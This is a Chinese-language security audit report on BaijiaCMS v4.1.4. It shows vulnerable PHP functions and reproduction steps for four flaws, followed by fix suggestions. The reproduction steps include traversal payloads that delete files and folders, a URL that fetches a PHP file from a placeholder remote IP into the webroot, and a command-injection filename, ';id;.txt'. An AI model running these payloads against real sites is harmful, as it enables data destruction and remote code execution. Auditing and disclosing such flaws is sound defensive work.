百家CMS v4.1.4代码审计
字数 1439 2025-08-05 00:15:08
百家CMS v4.1.4代码审计报告
环境搭建
- 源码下载地址:https://gitee.com/openbaijia/baijiacms.git
- 部署环境:PHPstudy
- 数据库配置:创建名为
baijiacms的数据库 - 安装设置:管理员用户名和密码均为
admin
审计准备
目录结构分析
通过查看网站目录结构了解系统架构
使用工具
- Seay源代码审计系统进行初步扫描
漏洞分析
1. 任意路径删除漏洞
漏洞位置:
/includes/baijiacms/common.inc.php(520-547行)/system/menager/class/web/database.php(246-255行)
漏洞代码分析:
function rmdirs($path='',$isdir=false) {
if(is_dir($path)) {
$file_list= scandir($path);
foreach ($file_list as $file) {
if($file!='.' && $file!='..') {
if($file!='qrcode') {
rmdirs($path.'/'.$file,true);
}
}
}
if($path!=WEB_ROOT.'/cache/') {
@rmdir($path);
}
} else {
@unlink($path);
}
}
漏洞利用点:
- 在
database.php中调用rmdirs函数时未对路径进行严格验证 - 通过base64编码的
id参数传递路径
漏洞复现步骤:
- 在根目录创建测试文件夹
test - 进入后台"备份与还原"页面
- 点击删除并抓包
- 修改
id参数为../../test的base64编码Li4vLi4vdGVzdA== - 发送请求,成功删除目标文件夹
2. 任意文件删除漏洞
漏洞位置:
/system/eshop/core/mobile/util/uploader.php(46-50行)/includes/baijiacms/common.inc.php(695-734行)
漏洞代码分析:
function file_delete($file_relative_path) {
if(empty($file_relative_path)) return true;
// 省略FTP和OSS处理部分...
if (is_file(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path)) {
unlink(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path);
return true;
}
return true;
}
漏洞利用点:
- 通过
file参数传递相对路径 - 使用
../进行目录遍历
漏洞复现步骤:
- 在根目录创建测试文件
test.txt - 构造URL:
http://127.0.0.1/baijiacms/index.php?mod=mobile&act=uploader&op=post&do=util&m=eshop&op=remove&file=../test.txt - 访问该URL,成功删除目标文件
3. 远程文件上传漏洞
漏洞位置:
/system/public/class/web/file.php(18-26行)/includes/baijiacms/common.inc.php(613-616行)
漏洞代码分析:
function fetch_net_file_upload($url) {
$extention = pathinfo($url,PATHINFO_EXTENSION);
$path = '/attachment/';
$extpath="{$extention}/" . date('Y/m/');
mkdirs(WEB_ROOT . $path . $extpath);
do {
$filename = random(15) . ".{$extention}";
} while(is_file(SYSTEM_WEBROOT . $path . $extpath. $filename));
$file_tmp_name = SYSTEM_WEBROOT . $path . $extpath. $filename;
$file_relative_path = $extpath. $filename;
if (file_put_contents($file_tmp_name, file_get_contents($url)) == false) {
$result['message'] = '提取失败.';
return $result;
}
return file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path);
}
漏洞利用点:
- 通过
url参数获取远程文件内容 - 仅检查文件扩展名,不检查文件内容
漏洞复现步骤:
- 在远程服务器上创建恶意文件
test.php,内容为<?php echo "<?php phpinfo();"; - 构造URL:
http://127.0.0.1/baijiacms/index.php?mod=web&do=file&m=public&op=fetch&url=http://远程IP/test.php - 访问后获取写入路径
- 访问上传的文件,验证执行成功
4. 远程命令执行漏洞
漏洞位置:
/system/weixin/class/web/setting.php(20-40行)/includes/baijiacms/common.inc.php(637-655行)
漏洞代码分析:
function file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path,$allownet=true) {
if(!file_move($file_tmp_name, $file_full_path)) {
return error(-1, '保存上传文件失败');
}
if(!empty($settings['image_compress_openscale'])) {
$scal=$settings['image_compress_scale'];
$quality_command='';
if(intval($scal)>0) {
$quality_command=' -quality '.intval($scal);
}
system('convert'.$quality_command.' '.$file_full_path.' '.$file_full_path);
}
// ...
}
漏洞利用点:
- 上传文件后直接使用
system()执行命令 - 文件名可控,可构造恶意文件名实现命令注入
漏洞复现步骤:
- 创建一个名为
;id;.txt的文件(包含要执行的命令) - 在微信设置页面找到上传功能
- 上传该文件
- 系统会执行文件中的命令
修复建议
-
任意路径/文件删除漏洞:
- 严格验证用户输入的路径
- 限制删除操作的范围
- 添加权限检查
-
远程文件上传漏洞:
- 检查文件内容而不仅是扩展名
- 限制可访问的远程URL
- 实现文件内容白名单机制
-
远程命令执行漏洞:
- 避免直接使用
system()等危险函数 - 对文件名进行严格过滤
- 使用更安全的替代函数如
escapeshellarg()
- 避免直接使用
-
通用建议:
- 实现严格的输入验证
- 遵循最小权限原则
- 定期进行安全审计和代码审查